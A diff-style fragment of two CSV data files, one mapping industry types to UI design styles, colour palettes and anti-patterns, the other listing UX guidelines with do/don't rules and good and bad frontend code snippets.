30,Coworking Space,Hero-Centric + Feature-Rich,Vibrant & Block-based + Glassmorphism,Energetic colors + Wood tones + Brand,Modern + Engaging typography,Space tour video + Amenity reveal animations,"{""must_have"": ""virtual-tour"", ""must_have"": ""booking-system""}",Outdated photos + Confusing layout,MEDIUM
|
||||
31,Cleaning Service,Conversion-Optimized + Trust,Soft UI Evolution + Flat Design,Fresh Blue (#00B4D8) + Clean White + Green,Friendly + Clear typography,Before/after gallery + Service package reveal,"{""must_have"": ""price-transparency"", ""must_have"": ""trust-badges""}",Poor before/after imagery + Hidden pricing,HIGH
|
||||
32,Home Services,Conversion-Optimized + Trust,Flat Design + Trust & Authority,Trust Blue + Safety Orange + Grey,Professional + Clear typography,Emergency contact highlight + Service menu animations,"{""must_have"": ""emergency-contact"", ""must_have"": ""certifications-display""}",Hidden contact info + No certifications,HIGH
|
||||
33,Childcare/Daycare,Social Proof-Focused + Trust,Claymorphism + Vibrant & Block-based,Playful pastels + Safe colors + Warm,Friendly + Playful typography,Parent portal animations + Activity gallery reveal,"{""must_have"": ""parent-communication"", ""must_have"": ""safety-certifications""}",Generic design + Hidden safety info,HIGH
|
||||
34,Senior Care/Elderly,Trust & Authority + Accessible,Accessible & Ethical + Soft UI Evolution,Calm Blue + Warm neutrals + Large text,Large + Clear typography (18px+),Large touch targets + Clear navigation,"{""must_have"": ""wcag-aaa"", ""must_have"": ""family-portal""}",Small text + Complex navigation + AI purple/pink gradients,HIGH
|
||||
35,Medical Clinic,Trust & Authority + Conversion,Accessible & Ethical + Minimalism,Medical Blue (#0077B6) + Trust White,Professional + Readable typography,Online booking flow + Doctor profile reveals,"{""must_have"": ""appointment-booking"", ""must_have"": ""insurance-info""}",Outdated interface + Confusing booking + AI purple/pink gradients,HIGH
|
||||
36,Pharmacy/Drug Store,Conversion-Optimized + Trust,Flat Design + Accessible & Ethical,Pharmacy Green + Trust Blue + Clean White,Clear + Functional typography,Prescription upload flow + Refill reminders,"{""must_have"": ""prescription-management"", ""must_have"": ""drug-interaction-warnings""}",Confusing layout + Privacy concerns + AI purple/pink gradients,HIGH
|
||||
37,Dental Practice,Social Proof-Focused + Conversion,Soft UI Evolution + Minimalism,Fresh Blue + White + Smile Yellow,Friendly + Professional typography,Before/after gallery + Patient testimonial carousel,"{""must_have"": ""before-after-gallery"", ""must_have"": ""appointment-system""}",Poor imagery + No testimonials,HIGH
|
||||
38,Veterinary Clinic,Social Proof-Focused + Trust,Claymorphism + Accessible & Ethical,Caring Blue + Pet colors + Warm,Friendly + Welcoming typography,Pet profile management + Service animations,"{""must_have"": ""pet-portal"", ""must_have"": ""emergency-contact""}",Generic design + Hidden services,MEDIUM
|
||||
39,News/Media Platform,Hero-Centric + Feature-Rich,Minimalism + Flat Design,Brand colors + High contrast,Clear + Readable typography,Breaking news badge + Article reveal animations,"{""must_have"": ""mobile-first-reading"", ""must_have"": ""category-navigation""}",Cluttered layout + Slow loading,HIGH
|
||||
40,Legal Services,Trust & Authority + Minimal,Trust & Authority + Minimalism,Navy Blue (#1E3A5F) + Gold + White,Professional + Authoritative typography,Practice area reveal + Attorney profile animations,"{""must_have"": ""case-results"", ""must_have"": ""credential-display""}",Outdated design + Hidden credentials + AI purple/pink gradients,HIGH
|
||||
41,Beauty/Spa/Wellness Service,Hero-Centric + Social Proof,Soft UI Evolution + Neumorphism,Soft pastels (Pink Sage Cream) + Gold accents,Elegant + Calming typography,Soft shadows + Smooth transitions (200-300ms) + Gentle hover,"{""must_have"": ""booking-system"", ""must_have"": ""before-after-gallery"", ""if_luxury"": ""add-gold-accents""}",Bright neon colors + Harsh animations + Dark mode,HIGH
|
||||
42,Service Landing Page,Hero-Centric + Trust & Authority,Minimalism + Social Proof-Focused,Brand primary + Trust colors,Professional + Clear typography,Testimonial carousel + CTA hover (200ms),"{""must_have"": ""social-proof"", ""must_have"": ""clear-cta""}",Complex navigation + Hidden contact info,HIGH
|
||||
43,B2B Service,Feature-Rich Showcase + Trust,Trust & Authority + Minimalism,Professional blue + Neutral grey,Formal + Clear typography,Section transitions + Feature reveals,"{""must_have"": ""case-studies"", ""must_have"": ""roi-messaging""}",Playful design + Hidden credentials + AI purple/pink gradients,HIGH
|
||||
44,Financial Dashboard,Data-Dense Dashboard,Dark Mode (OLED) + Data-Dense,Dark bg + Red/Green alerts + Trust blue,Clear + Readable typography,Real-time number animations + Alert pulse,"{""must_have"": ""real-time-updates"", ""must_have"": ""high-contrast""}",Light mode default + Slow rendering,HIGH
|
||||
45,Analytics Dashboard,Data-Dense + Drill-Down,Data-Dense + Heat Map,Cool→Hot gradients + Neutral grey,Clear + Functional typography,Hover tooltips + Chart zoom + Filter animations,"{""must_have"": ""data-export"", ""if_large_dataset"": ""virtualize-lists""}",Ornate design + No filtering,HIGH
|
||||
46,Productivity Tool,Interactive Demo + Feature-Rich,Flat Design + Micro-interactions,Clear hierarchy + Functional colors,Clean + Efficient typography,Quick actions (150ms) + Task animations,"{""must_have"": ""keyboard-shortcuts"", ""if_collaboration"": ""add-real-time-cursors""}",Complex onboarding + Slow performance,HIGH
|
||||
47,Design System/Component Library,Feature-Rich + Documentation,Minimalism + Accessible & Ethical,Clear hierarchy + Code-like structure,Monospace + Clear typography,Code copy animations + Component previews,"{""must_have"": ""search"", ""must_have"": ""code-examples""}",Poor documentation + No live preview,HIGH
|
||||
48,AI/Chatbot Platform,Interactive Demo + Minimal,AI-Native UI + Minimalism,Neutral + AI Purple (#6366F1),Modern + Clear typography,Streaming text + Typing indicators + Fade-in,"{""must_have"": ""conversational-ui"", ""must_have"": ""context-awareness""}",Heavy chrome + Slow response feedback,HIGH
|
||||
49,NFT/Web3 Platform,Feature-Rich Showcase,Cyberpunk UI + Glassmorphism,Dark + Neon + Gold (#FFD700),Bold + Modern typography,Wallet connect animations + Transaction feedback,"{""must_have"": ""wallet-integration"", ""must_have"": ""gas-fees-display""}",Light mode default + No transaction status,HIGH
|
||||
50,Creator Economy Platform,Social Proof + Feature-Rich,Vibrant & Block-based + Bento Box Grid,Vibrant + Brand colors,Modern + Bold typography,Engagement counter animations + Profile reveals,"{""must_have"": ""creator-profiles"", ""must_have"": ""monetization-display""}",Generic layout + Hidden earnings,MEDIUM
|
||||
51,Sustainability/ESG Platform,Trust & Authority + Data,Organic Biophilic + Minimalism,Green (#228B22) + Earth tones,Clear + Informative typography,Progress indicators + Impact animations,"{""must_have"": ""data-transparency"", ""must_have"": ""certification-badges""}",Greenwashing visuals + No data,HIGH
|
||||
52,Remote Work/Collaboration,Feature-Rich + Real-Time,Soft UI Evolution + Minimalism,Calm Blue + Neutral grey,Clean + Readable typography,Real-time presence indicators + Notification badges,"{""must_have"": ""status-indicators"", ""must_have"": ""video-integration""}",Cluttered interface + No presence,HIGH
|
||||
53,Pet Tech App,Storytelling + Feature-Rich,Claymorphism + Vibrant & Block-based,Playful + Warm colors,Friendly + Playful typography,Pet profile animations + Health tracking charts,"{""must_have"": ""pet-profiles"", ""if_health"": ""add-vet-integration""}",Generic design + No personality,MEDIUM
|
||||
54,Smart Home/IoT Dashboard,Real-Time Monitoring,Glassmorphism + Dark Mode (OLED),Dark + Status indicator colors,Clear + Functional typography,Device status pulse + Quick action animations,"{""must_have"": ""real-time-controls"", ""must_have"": ""energy-monitoring""}",Slow updates + No automation,HIGH
|
||||
55,EV/Charging Ecosystem,Hero-Centric + Feature-Rich,Minimalism + Aurora UI,Electric Blue (#009CD1) + Green,Modern + Clear typography,Range estimation animations + Map interactions,"{""must_have"": ""charging-map"", ""must_have"": ""range-calculator""}",Poor map UX + Hidden costs,HIGH
|
||||
56,Subscription Box Service,Feature-Rich + Conversion,Vibrant & Block-based + Motion-Driven,Brand + Excitement colors,Engaging + Clear typography,Unboxing reveal animations + Product carousel,"{""must_have"": ""personalization-quiz"", ""must_have"": ""subscription-management""}",Confusing pricing + No unboxing preview,HIGH
|
||||
57,Podcast Platform,Storytelling + Feature-Rich,Dark Mode (OLED) + Minimalism,Dark + Audio waveform accents,Modern + Clear typography,Waveform visualizations + Episode transitions,"{""must_have"": ""audio-player-ux"", ""must_have"": ""episode-discovery""}",Poor audio player + Cluttered layout,HIGH
|
||||
58,Dating App,Social Proof + Feature-Rich,Vibrant & Block-based + Motion-Driven,Warm + Romantic (Pink/Red gradients),Modern + Friendly typography,Profile card swipe + Match animations,"{""must_have"": ""profile-cards"", ""must_have"": ""safety-features""}",Generic profiles + No safety,HIGH
|
||||
59,Micro-Credentials/Badges,Trust & Authority + Feature,Minimalism + Flat Design,Trust Blue + Gold (#FFD700),Professional + Clear typography,Badge reveal animations + Progress tracking,"{""must_have"": ""credential-verification"", ""must_have"": ""progress-display""}",No verification + Hidden progress,MEDIUM
|
||||
60,Knowledge Base/Documentation,FAQ + Minimal,Minimalism + Accessible & Ethical,Clean hierarchy + Minimal color,Clear + Readable typography,Search highlight + Smooth scrolling,"{""must_have"": ""search-first"", ""must_have"": ""version-switching""}",Poor navigation + No search,HIGH
|
||||
61,Hyperlocal Services,Conversion + Feature-Rich,Minimalism + Vibrant & Block-based,Location markers + Trust colors,Clear + Functional typography,Map hover + Provider card reveals,"{""must_have"": ""map-integration"", ""must_have"": ""booking-system""}",No map + Hidden reviews,HIGH
|
||||
62,Luxury/Premium Brand,Storytelling + Feature-Rich,Liquid Glass + Glassmorphism,Black + Gold (#FFD700) + White,Elegant + Refined typography,Slow parallax + Premium reveals (400-600ms),"{""must_have"": ""high-quality-imagery"", ""must_have"": ""storytelling""}",Cheap visuals + Fast animations,HIGH
|
||||
63,Fitness/Gym App,Feature-Rich + Data,Vibrant & Block-based + Dark Mode (OLED),Energetic (Orange #FF6B35) + Dark bg,Bold + Motivational typography,Progress ring animations + Achievement unlocks,"{""must_have"": ""progress-tracking"", ""must_have"": ""workout-plans""}",Static design + No gamification,HIGH
|
||||
64,Hotel/Hospitality,Hero-Centric + Social Proof,Liquid Glass + Minimalism,Warm neutrals + Gold (#D4AF37),Elegant + Welcoming typography,Room gallery + Amenity reveals,"{""must_have"": ""room-booking"", ""must_have"": ""virtual-tour""}",Poor photos + Complex booking,HIGH
|
||||
65,Wedding/Event Planning,Storytelling + Social Proof,Soft UI Evolution + Aurora UI,Soft Pink (#FFD6E0) + Gold + Cream,Elegant + Romantic typography,Gallery reveals + Timeline animations,"{""must_have"": ""portfolio-gallery"", ""must_have"": ""planning-tools""}",Generic templates + No portfolio,HIGH
|
||||
66,Insurance Platform,Conversion + Trust,Trust & Authority + Flat Design,Trust Blue (#0066CC) + Green + Neutral,Clear + Professional typography,Quote calculator animations + Policy comparison,"{""must_have"": ""quote-calculator"", ""must_have"": ""policy-comparison""}",Confusing pricing + No trust signals + AI purple/pink gradients,HIGH
|
||||
67,Banking/Traditional Finance,Trust & Authority + Feature,Minimalism + Accessible & Ethical,Navy (#0A1628) + Trust Blue + Gold,Professional + Trustworthy typography,Smooth number animations + Security indicators,"{""must_have"": ""security-first"", ""must_have"": ""accessibility""}",Playful design + Poor security UX + AI purple/pink gradients,HIGH
|
||||
68,Online Course/E-learning,Feature-Rich + Social Proof,Claymorphism + Vibrant & Block-based,Vibrant learning colors + Progress green,Friendly + Engaging typography,Progress bar animations + Certificate reveals,"{""must_have"": ""progress-tracking"", ""must_have"": ""video-player""}",Boring design + No gamification,HIGH
|
||||
69,Non-profit/Charity,Storytelling + Trust,Accessible & Ethical + Organic Biophilic,Cause-related colors + Trust + Warm,Heartfelt + Readable typography,Impact counter animations + Story reveals,"{""must_have"": ""impact-stories"", ""must_have"": ""donation-transparency""}",No impact data + Hidden financials,HIGH
|
||||
70,Florist/Plant Shop,Hero-Centric + Conversion,Organic Biophilic + Vibrant & Block-based,Natural Green + Floral pinks/purples,Elegant + Natural typography,Product reveal + Seasonal transitions,"{""must_have"": ""delivery-scheduling"", ""must_have"": ""care-guides""}",Poor imagery + No seasonal content,MEDIUM
|
||||
71,Bakery/Cafe,Hero-Centric + Conversion,Vibrant & Block-based + Soft UI Evolution,Warm Brown + Cream + Appetizing accents,Warm + Inviting typography,Menu hover + Order animations,"{""must_have"": ""menu-display"", ""must_have"": ""online-ordering""}",Poor food photos + Hidden hours,HIGH
|
||||
72,Coffee Shop,Hero-Centric + Minimal,Minimalism + Organic Biophilic,Coffee Brown (#6F4E37) + Cream + Warm,Cozy + Clean typography,Menu transitions + Loyalty animations,"{""must_have"": ""menu"", ""if_loyalty"": ""add-rewards-system""}",Generic design + No atmosphere,MEDIUM
|
||||
73,Brewery/Winery,Storytelling + Hero-Centric,Motion-Driven + Storytelling-Driven,Deep amber/burgundy + Gold + Craft,Artisanal + Heritage typography,Tasting note reveals + Heritage timeline,"{""must_have"": ""product-showcase"", ""must_have"": ""story-heritage""}",Generic product pages + No story,HIGH
|
||||
74,Airline,Conversion + Feature-Rich,Minimalism + Glassmorphism,Sky Blue + Brand colors + Trust,Clear + Professional typography,Flight search animations + Boarding pass reveals,"{""must_have"": ""flight-search"", ""must_have"": ""mobile-first""}",Complex booking + Poor mobile,HIGH
|
||||
75,Magazine/Blog,Storytelling + Hero-Centric,Swiss Modernism 2.0 + Motion-Driven,Editorial colors + Brand + Clean white,Editorial + Elegant typography,Article transitions + Category reveals,"{""must_have"": ""article-showcase"", ""must_have"": ""newsletter-signup""}",Poor typography + Slow loading,HIGH
|
||||
76,Freelancer Platform,Feature-Rich + Conversion,Flat Design + Minimalism,Professional Blue + Success Green,Clear + Professional typography,Skill match animations + Review reveals,"{""must_have"": ""portfolio-display"", ""must_have"": ""skill-matching""}",Poor profiles + No reviews,HIGH
|
||||
77,Consulting Firm,Trust & Authority + Minimal,Trust & Authority + Minimalism,Navy + Gold + Professional grey,Authoritative + Clear typography,Case study reveals + Team profiles,"{""must_have"": ""case-studies"", ""must_have"": ""thought-leadership""}",Generic content + No credentials + AI purple/pink gradients,HIGH
|
||||
78,Marketing Agency,Storytelling + Feature-Rich,Brutalism + Motion-Driven,Bold brand colors + Creative freedom,Bold + Expressive typography,Portfolio reveals + Results animations,"{""must_have"": ""portfolio"", ""must_have"": ""results-metrics""}",Boring design + Hidden work,HIGH
|
||||
79,Event Management,Hero-Centric + Feature-Rich,Vibrant & Block-based + Motion-Driven,Event theme colors + Excitement accents,Bold + Engaging typography,Countdown timer + Registration flow,"{""must_have"": ""registration"", ""must_have"": ""agenda-display""}",Confusing registration + No countdown,HIGH
|
||||
80,Conference/Webinar Platform,Feature-Rich + Conversion,Glassmorphism + Minimalism,Professional Blue + Video accent,Professional + Clear typography,Live stream integration + Agenda transitions,"{""must_have"": ""registration"", ""must_have"": ""speaker-profiles""}",Poor video UX + No networking,HIGH
|
||||
81,Membership/Community,Social Proof + Conversion,Vibrant & Block-based + Soft UI Evolution,Community brand colors + Engagement,Friendly + Engaging typography,Member counter + Benefit reveals,"{""must_have"": ""member-benefits"", ""must_have"": ""pricing-tiers""}",Hidden benefits + No community proof,HIGH
|
||||
82,Newsletter Platform,Minimal + Conversion,Minimalism + Flat Design,Brand primary + Clean white + CTA,Clean + Readable typography,Subscribe form + Archive reveals,"{""must_have"": ""subscribe-form"", ""must_have"": ""sample-content""}",Complex signup + No preview,MEDIUM
|
||||
83,Digital Products/Downloads,Feature-Rich + Conversion,Vibrant & Block-based + Motion-Driven,Product colors + Brand + Success green,Modern + Clear typography,Product preview + Instant delivery animations,"{""must_have"": ""product-preview"", ""must_have"": ""instant-delivery""}",No preview + Slow delivery,HIGH
|
||||
84,Church/Religious Organization,Hero-Centric + Social Proof,Accessible & Ethical + Soft UI Evolution,Warm Gold + Deep Purple/Blue + White,Welcoming + Clear typography,Service time highlights + Event calendar,"{""must_have"": ""service-times"", ""must_have"": ""community-events""}",Outdated design + Hidden info,MEDIUM
|
||||
85,Sports Team/Club,Hero-Centric + Feature-Rich,Vibrant & Block-based + Motion-Driven,Team colors + Energetic accents,Bold + Impactful typography,Score animations + Schedule reveals,"{""must_have"": ""schedule"", ""must_have"": ""roster""}",Static content + Poor fan engagement,HIGH
|
||||
86,Museum/Gallery,Storytelling + Feature-Rich,Minimalism + Motion-Driven,Art-appropriate neutrals + Exhibition accents,Elegant + Minimal typography,Virtual tour + Collection reveals,"{""must_have"": ""virtual-tour"", ""must_have"": ""exhibition-info""}",Cluttered layout + No online access,HIGH
|
||||
87,Theater/Cinema,Hero-Centric + Conversion,Dark Mode (OLED) + Motion-Driven,Dark + Spotlight accents + Gold,Dramatic + Bold typography,Seat selection + Trailer reveals,"{""must_have"": ""showtimes"", ""must_have"": ""seat-selection""}",Poor booking UX + No trailers,HIGH
|
||||
88,Language Learning App,Feature-Rich + Social Proof,Claymorphism + Vibrant & Block-based,Playful colors + Progress indicators,Friendly + Clear typography,Progress animations + Achievement unlocks,"{""must_have"": ""progress-tracking"", ""must_have"": ""gamification""}",Boring design + No motivation,HIGH
|
||||
89,Coding Bootcamp,Feature-Rich + Social Proof,Dark Mode (OLED) + Minimalism,Code editor colors + Brand + Success,Technical + Clear typography,Terminal animations + Career outcome reveals,"{""must_have"": ""curriculum"", ""must_have"": ""career-outcomes""}",Light mode only + Hidden results,HIGH
|
||||
90,Cybersecurity Platform,Trust & Authority + Real-Time,Cyberpunk UI + Dark Mode (OLED),Matrix Green (#00FF00) + Deep Black,Technical + Clear typography,Threat visualization + Alert animations,"{""must_have"": ""real-time-monitoring"", ""must_have"": ""threat-display""}",Light mode + Poor data viz,HIGH
|
||||
91,Developer Tool/IDE,Minimal + Documentation,Dark Mode (OLED) + Minimalism,Dark syntax theme + Blue focus,Monospace + Functional typography,Syntax highlighting + Command palette,"{""must_have"": ""keyboard-shortcuts"", ""must_have"": ""documentation""}",Light mode default + Slow performance,HIGH
|
||||
92,Biotech/Life Sciences,Storytelling + Data,Glassmorphism + Clean Science,Sterile White + DNA Blue + Life Green,Scientific + Clear typography,Data visualization + Research reveals,"{""must_have"": ""data-accuracy"", ""must_have"": ""clean-aesthetic""}",Cluttered data + Poor credibility,HIGH
|
||||
93,Space Tech/Aerospace,Immersive + Feature-Rich,Holographic/HUD + Dark Mode,Deep Space Black + Star White + Metallic,Futuristic + Precise typography,Telemetry animations + 3D renders,"{""must_have"": ""high-tech-feel"", ""must_have"": ""precision-data""}",Generic design + No immersion,HIGH
|
||||
94,Architecture/Interior,Portfolio + Hero-Centric,Exaggerated Minimalism + High Imagery,Monochrome + Gold Accent + High Imagery,Architectural + Elegant typography,Project gallery + Blueprint reveals,"{""must_have"": ""high-res-images"", ""must_have"": ""project-portfolio""}",Poor imagery + Cluttered layout,HIGH
|
||||
95,Quantum Computing,Immersive + Interactive,Holographic/HUD + Dark Mode,Quantum Blue (#00FFFF) + Deep Black,Futuristic + Scientific typography,Probability visualizations + Qubit state animations,"{""must_have"": ""complexity-visualization"", ""must_have"": ""scientific-credibility""}",Generic tech design + No viz,HIGH
|
||||
96,Biohacking/Longevity App,Data-Dense + Storytelling,Biomimetic/Organic 2.0 + Minimalism,Cellular Pink/Red + DNA Blue + White,Scientific + Clear typography,Biological data viz + Progress animations,"{""must_have"": ""data-privacy"", ""must_have"": ""scientific-credibility""}",Generic health app + No privacy,HIGH
|
||||
97,Autonomous Drone Fleet,Real-Time + Feature-Rich,HUD/Sci-Fi FUI + Real-Time,Tactical Green + Alert Red + Map Dark,Technical + Functional typography,Telemetry animations + 3D spatial awareness,"{""must_have"": ""real-time-telemetry"", ""must_have"": ""safety-alerts""}",Slow updates + Poor spatial viz,HIGH
|
||||
98,Generative Art Platform,Showcase + Feature-Rich,Minimalism + Gen Z Chaos,Neutral (#F5F5F5) + User Content,Minimal + Content-focused typography,Gallery masonry + Minting animations,"{""must_have"": ""fast-loading"", ""must_have"": ""creator-attribution""}",Heavy chrome + Slow loading,HIGH
|
||||
99,Spatial Computing OS,Immersive + Interactive,Spatial UI (VisionOS) + Glassmorphism,Frosted Glass + System Colors + Depth,Spatial + Readable typography,Depth hierarchy + Gaze interactions,"{""must_have"": ""depth-hierarchy"", ""must_have"": ""environment-awareness""}",2D design + No spatial depth,HIGH
|
||||
100,Sustainable Energy/Climate,Data + Trust,Organic Biophilic + E-Ink/Paper,Earth Green + Sky Blue + Solar Yellow,Clear + Informative typography,Impact viz + Progress animations,"{""must_have"": ""data-transparency"", ""must_have"": ""impact-visualization""}",Greenwashing + No real data,HIGH
|
||||
|
@@ -1,100 +1,100 @@
|
||||
No,Category,Issue,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity
|
||||
1,Navigation,Smooth Scroll,Web,Anchor links should scroll smoothly to target section,Use scroll-behavior: smooth on html element,Jump directly without transition,html { scroll-behavior: smooth; },<a href='#section'> without CSS,High
|
||||
2,Navigation,Sticky Navigation,Web,Fixed nav should not obscure content,Add padding-top to body equal to nav height,Let nav overlap first section content,pt-20 (if nav is h-20),No padding compensation,Medium
|
||||
3,Navigation,Active State,All,Current page/section should be visually indicated,Highlight active nav item with color/underline,No visual feedback on current location,text-primary border-b-2,All links same style,Medium
|
||||
4,Navigation,Back Button,Mobile,Users expect back to work predictably,Preserve navigation history properly,Break browser/app back button behavior,history.pushState(),location.replace(),High
|
||||
5,Navigation,Deep Linking,All,URLs should reflect current state for sharing,Update URL on state/view changes,Static URLs for dynamic content,Use query params or hash,Single URL for all states,Medium
|
||||
6,Navigation,Breadcrumbs,Web,Show user location in site hierarchy,Use for sites with 3+ levels of depth,Use for flat single-level sites,Home > Category > Product,Only on deep nested pages,Low
|
||||
7,Animation,Excessive Motion,All,Too many animations cause distraction and motion sickness,Animate 1-2 key elements per view maximum,Animate everything that moves,Single hero animation,animate-bounce on 5+ elements,High
|
||||
8,Animation,Duration Timing,All,Animations should feel responsive not sluggish,Use 150-300ms for micro-interactions,Use animations longer than 500ms for UI,transition-all duration-200,duration-1000,Medium
|
||||
9,Animation,Reduced Motion,All,Respect user's motion preferences,Check prefers-reduced-motion media query,Ignore accessibility motion settings,@media (prefers-reduced-motion: reduce),No motion query check,High
|
||||
10,Animation,Loading States,All,Show feedback during async operations,Use skeleton screens or spinners,Leave UI frozen with no feedback,animate-pulse skeleton,Blank screen while loading,High
|
||||
11,Animation,Hover vs Tap,All,Hover effects don't work on touch devices,Use click/tap for primary interactions,Rely only on hover for important actions,onClick handler,onMouseEnter only,High
|
||||
12,Animation,Continuous Animation,All,Infinite animations are distracting,Use for loading indicators only,Use for decorative elements,animate-spin on loader,animate-bounce on icons,Medium
|
||||
13,Animation,Transform Performance,Web,Some CSS properties trigger expensive repaints,Use transform and opacity for animations,Animate width/height/top/left properties,transform: translateY(),top: 10px animation,Medium
|
||||
14,Animation,Easing Functions,All,Linear motion feels robotic,Use ease-out for entering ease-in for exiting,Use linear for UI transitions,ease-out,linear,Low
|
||||
15,Layout,Z-Index Management,Web,Stacking context conflicts cause hidden elements,Define z-index scale system (10 20 30 50),Use arbitrary large z-index values,z-10 z-20 z-50,z-[9999],High
|
||||
16,Layout,Overflow Hidden,Web,Hidden overflow can clip important content,Test all content fits within containers,Blindly apply overflow-hidden,overflow-auto with scroll,overflow-hidden truncating content,Medium
|
||||
17,Layout,Fixed Positioning,Web,Fixed elements can overlap or be inaccessible,Account for safe areas and other fixed elements,Stack multiple fixed elements carelessly,Fixed nav + fixed bottom with gap,Multiple overlapping fixed elements,Medium
|
||||
18,Layout,Stacking Context,Web,New stacking contexts reset z-index,Understand what creates new stacking context,Expect z-index to work across contexts,Parent with z-index isolates children,z-index: 9999 not working,Medium
|
||||
19,Layout,Content Jumping,Web,Layout shift when content loads is jarring,Reserve space for async content,Let images/content push layout around,aspect-ratio or fixed height,No dimensions on images,High
|
||||
20,Layout,Viewport Units,Web,100vh can be problematic on mobile browsers,Use dvh or account for mobile browser chrome,Use 100vh for full-screen mobile layouts,min-h-dvh or min-h-screen,h-screen on mobile,Medium
|
||||
21,Layout,Container Width,Web,Content too wide is hard to read,Limit max-width for text content (65-75ch),Let text span full viewport width,max-w-prose or max-w-3xl,Full width paragraphs,Medium
|
||||
22,Touch,Touch Target Size,Mobile,Small buttons are hard to tap accurately,Minimum 44x44px touch targets,Tiny clickable areas,min-h-[44px] min-w-[44px],w-6 h-6 buttons,High
|
||||
23,Touch,Touch Spacing,Mobile,Adjacent touch targets need adequate spacing,Minimum 8px gap between touch targets,Tightly packed clickable elements,gap-2 between buttons,gap-0 or gap-1,Medium
|
||||
24,Touch,Gesture Conflicts,Mobile,Custom gestures can conflict with system,Avoid horizontal swipe on main content,Override system gestures,Vertical scroll primary,Horizontal swipe carousel only,Medium
|
||||
25,Touch,Tap Delay,Mobile,300ms tap delay feels laggy,Use touch-action CSS or fastclick,Default mobile tap handling,touch-action: manipulation,No touch optimization,Medium
|
||||
26,Touch,Pull to Refresh,Mobile,Accidental refresh is frustrating,Disable where not needed,Enable by default everywhere,overscroll-behavior: contain,Default overscroll,Low
|
||||
27,Touch,Haptic Feedback,Mobile,Tactile feedback improves interaction feel,Use for confirmations and important actions,Overuse vibration feedback,navigator.vibrate(10),Vibrate on every tap,Low
|
||||
28,Interaction,Focus States,All,Keyboard users need visible focus indicators,Use visible focus rings on interactive elements,Remove focus outline without replacement,focus:ring-2 focus:ring-blue-500,outline-none without alternative,High
|
||||
29,Interaction,Hover States,Web,Visual feedback on interactive elements,Change cursor and add subtle visual change,No hover feedback on clickable elements,hover:bg-gray-100 cursor-pointer,No hover style,Medium
|
||||
30,Interaction,Active States,All,Show immediate feedback on press/click,Add pressed/active state visual change,No feedback during interaction,active:scale-95,No active state,Medium
|
||||
31,Interaction,Disabled States,All,Clearly indicate non-interactive elements,Reduce opacity and change cursor,Confuse disabled with normal state,opacity-50 cursor-not-allowed,Same style as enabled,Medium
|
||||
32,Interaction,Loading Buttons,All,Prevent double submission during async actions,Disable button and show loading state,Allow multiple clicks during processing,disabled={loading} spinner,Button clickable while loading,High
|
||||
33,Interaction,Error Feedback,All,Users need to know when something fails,Show clear error messages near problem,Silent failures with no feedback,Red border + error message,No indication of error,High
|
||||
34,Interaction,Success Feedback,All,Confirm successful actions to users,Show success message or visual change,No confirmation of completed action,Toast notification or checkmark,Action completes silently,Medium
|
||||
35,Interaction,Confirmation Dialogs,All,Prevent accidental destructive actions,Confirm before delete/irreversible actions,Delete without confirmation,Are you sure modal,Direct delete on click,High
|
||||
36,Accessibility,Color Contrast,All,Text must be readable against background,Minimum 4.5:1 ratio for normal text,Low contrast text,#333 on white (7:1),#999 on white (2.8:1),High
|
||||
37,Accessibility,Color Only,All,Don't convey information by color alone,Use icons/text in addition to color,Red/green only for error/success,Red text + error icon,Red border only for error,High
|
||||
38,Accessibility,Alt Text,All,Images need text alternatives,Descriptive alt text for meaningful images,Empty or missing alt attributes,alt='Dog playing in park',alt='' for content images,High
|
||||
39,Accessibility,Heading Hierarchy,Web,Screen readers use headings for navigation,Use sequential heading levels h1-h6,Skip heading levels or misuse for styling,h1 then h2 then h3,h1 then h4,Medium
|
||||
40,Accessibility,ARIA Labels,All,Interactive elements need accessible names,Add aria-label for icon-only buttons,Icon buttons without labels,aria-label='Close menu',<button><Icon/></button>,High
|
||||
41,Accessibility,Keyboard Navigation,Web,All functionality accessible via keyboard,Tab order matches visual order,Keyboard traps or illogical tab order,tabIndex for custom order,Unreachable elements,High
|
||||
42,Accessibility,Screen Reader,All,Content should make sense when read aloud,Use semantic HTML and ARIA properly,Div soup with no semantics,<nav> <main> <article>,<div> for everything,Medium
|
||||
43,Accessibility,Form Labels,All,Inputs must have associated labels,Use label with for attribute or wrap input,Placeholder-only inputs,<label for='email'>,placeholder='Email' only,High
|
||||
44,Accessibility,Error Messages,All,Error messages must be announced,Use aria-live or role=alert for errors,Visual-only error indication,role='alert',Red border only,High
|
||||
45,Accessibility,Skip Links,Web,Allow keyboard users to skip navigation,Provide skip to main content link,No skip link on nav-heavy pages,Skip to main content link,100 tabs to reach content,Medium
|
||||
46,Performance,Image Optimization,All,Large images slow page load,Use appropriate size and format (WebP),Unoptimized full-size images,srcset with multiple sizes,4000px image for 400px display,High
|
||||
47,Performance,Lazy Loading,All,Load content as needed,Lazy load below-fold images and content,Load everything upfront,loading='lazy',All images eager load,Medium
|
||||
48,Performance,Code Splitting,Web,Large bundles slow initial load,Split code by route/feature,Single large bundle,dynamic import(),All code in main bundle,Medium
|
||||
49,Performance,Caching,Web,Repeat visits should be fast,Set appropriate cache headers,No caching strategy,Cache-Control headers,Every request hits server,Medium
|
||||
50,Performance,Font Loading,Web,Web fonts can block rendering,Use font-display swap or optional,Invisible text during font load,font-display: swap,FOIT (Flash of Invisible Text),Medium
|
||||
51,Performance,Third Party Scripts,Web,External scripts can block rendering,Load non-critical scripts async/defer,Synchronous third-party scripts,async or defer attribute,<script src='...'> in head,Medium
|
||||
52,Performance,Bundle Size,Web,Large JavaScript slows interaction,Monitor and minimize bundle size,Ignore bundle size growth,Bundle analyzer,No size monitoring,Medium
|
||||
53,Performance,Render Blocking,Web,CSS/JS can block first paint,Inline critical CSS defer non-critical,Large blocking CSS files,Critical CSS inline,All CSS in head,Medium
|
||||
54,Forms,Input Labels,All,Every input needs a visible label,Always show label above or beside input,Placeholder as only label,<label>Email</label><input>,placeholder='Email' only,High
|
||||
55,Forms,Error Placement,All,Errors should appear near the problem,Show error below related input,Single error message at top of form,Error under each field,All errors at form top,Medium
|
||||
56,Forms,Inline Validation,All,Validate as user types or on blur,Validate on blur for most fields,Validate only on submit,onBlur validation,Submit-only validation,Medium
|
||||
57,Forms,Input Types,All,Use appropriate input types,Use email tel number url etc,Text input for everything,type='email',type='text' for email,Medium
|
||||
58,Forms,Autofill Support,Web,Help browsers autofill correctly,Use autocomplete attribute properly,Block or ignore autofill,autocomplete='email',autocomplete='off' everywhere,Medium
|
||||
